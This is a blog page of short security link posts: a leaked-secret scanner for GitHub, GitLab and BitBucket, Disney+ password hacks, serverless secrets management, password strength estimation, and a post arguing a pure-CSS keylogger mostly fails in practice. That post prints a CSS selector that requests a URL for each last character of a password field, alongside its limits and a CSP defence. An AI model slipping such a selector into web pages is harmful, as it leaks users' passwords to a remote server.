Ahh shhgit! – Find leaked secrets in real time across GitHub, GitLab and BitBucket

Software developers can accidentally leak sensitive information, particularly secret keys for third party services, across code hosting platforms such as GitHub, GitLab and BitBucket. These secrets — including the data they were protecting — end up in the hands of bad actors which ultimately leads to significant data breaches.

Imagine being able to monitor the entirety of GitHub, GitLab and BitBucket to find any secrets accidentally committed in real time. Well, we’re in luck. All three platforms provide a public ‘real time firehose’ events API, that details various activity streams on the site, including code commits.

Ahh shhgit! will watch this real-time stream and pull out any accidentally committed secrets.

shhgit: find secrets in real time across GitHub, GitLab and BitBucket →
Ahh shhgit! (Introductory Blogpost) →

⚠️ Don’t think you can quickly undo the commit (and force push) to remove your leaked secret. Once it’s out there, it will be abused. See The $2375 Amazon AWS mistake for example.

Princesses make terrible passwords

From the Firefox Blog:

When the Disney+ streaming service rolled out, millions of people flocked to set up accounts. And within a week, thousands of poor unfortunate souls reported that their Disney passwords were hacked. According to media reports, some Disney+ account holders have lost their account access while hackers have sold their logins online.

Turns out a lot of people used one of Disney’s characters their name as their password, which is not the brightest idea.

Princesses make terrible passwords →

Secrets in Serverless

Good post on how and where to store your secrets when working in a Serverless / Cloud Environment — something I was wondering about myself a little while ago

Serverless applications and cloud functions often need to communicate with an upstream API or service. Perhaps they require a username and password to connect to a database, an API key to talk to an upstream service, or a certificate to authenticate to an API. This raises questions like: How do I manage secrets in serverless environments? How do I get credentials into my serverless lambda or cloud function? How can I use secrets AWS Lambda or Google Cloud Functions?

This post describes common patterns and approaches for managing secrets in serverless, including the benefits and drawbacks of each approach.

Secrets in Serverless →

🌍 If you’re using Terraform then the google_kms_secret datasource will come in handy.

CSS Keylogger (and why you shouldn’t worry about it)

Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type="password"] elements whose last character is an a:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");

The theory goes that whenever a user presses the a character inside an input[type="password"], a request to http://localhost:3000/a will be made, thus leaving a breadcrumb trail in some server log for an admin to scoop up and reassemble. Duplicate the selector above for all possible characters, and you’ll see the password appear in your server logs per keystroke.

I see many people on Twitter freaking out because of this (what if it’s in a WordPress Theme you’ve installed?!), yet I don’t really worry about it as in practice this doesn’t work (tested with latest Firefox and Chrome on macOS):

  1. It only works with an initial value being set on an input, and not per key press nor after blurring the field.
  2. (Following up on 1) It will only catch the last character of a password when its being prefilled in the value attribute.
  3. It’s not triggered for values that have been autocompleted by the browser’s credentials manager / your password manager of choice.
  4. It can’t handle repeat characters, as the browser won’t re-request the background image in that case (unless you add some cache preventing headers on the receiving end)
  5. Due to parallelism it’s not guaranteed for the requests to be received by the server in the order they were typed in.
  6. What about mouse clicks in the password field (to change position) and the use of arrow keys / backspace?

Above that you can easily prevent it on your site by setting the proper Content Security Policy.

# UPDATE 2018.02.22: As Robin below and Mathias online detailed it can give issues when using two way databinding which tends to update the value attribute after each keypress (e.g. Think of React re-rendering after changing state) … but in that case it still is no “CSS (only) keylogger”.

Other attempts such as Keylogger using webfont with single character unicode-range (demo here) are getting closer, yet still don’t result in pure CSS based keylogger, as it can’t handle repeated characters.

So no worries there, CSS itself is still safe. It’s only when leveraged with another technology (JavaScript) that it can potentially leak data.

And again, you can still prevent it in that case too: Content Security Policy

As you were soldiers, carry on …

Did this help you out? Like what you see?
Consider donating.

I don’t run ads on my blog nor do I do this for profit. A donation however would always put a smile on my face though. Thanks!

☕️ Buy me a Coffee ($3)

zxcvbn: realistic password strength estimation


Simplistic strength estimation gives bad advice. Without checking for common patterns, the practice of encouraging numbers and symbols means encouraging passwords that might only be slightly harder for a computer to crack, and yet frustratingly harder for a human to remember.

zxcvbn, named after a crappy password, is a JavaScript password strength estimation library. Use it to implement a custom strength bar on a signup form near you!

correct horse battery staple 😉

zxcvbn: realistic password strength estimation →
zxcvbn demo →

Kill the Password: Why a String of Characters Can’t Protect Us Anymore

Mat Honan, who’s digital life was destroyed this summer, on passwords

The age of the password has come to an end; we just haven’t realized it yet. And no one has figured out what will take its place. What we can say for sure is this: Access to our data can no longer hinge on secrets—a string of characters, 10 strings of characters, the answers to 50 questions—that only we’re supposed to know. The Internet doesn’t do secrets. Everyone is a few clicks away from knowing everything.

In the article he explicitly lists why I always enter fake answers to my so called security questions:

Your mother’s maiden name is on Ancestry.com, your high school mascot is on Classmates, your birthday is on Facebook, and so is your best friend’s name—even if it takes a few tries.

Kill the Password: Why a String of Characters Can’t Protect Us Anymore →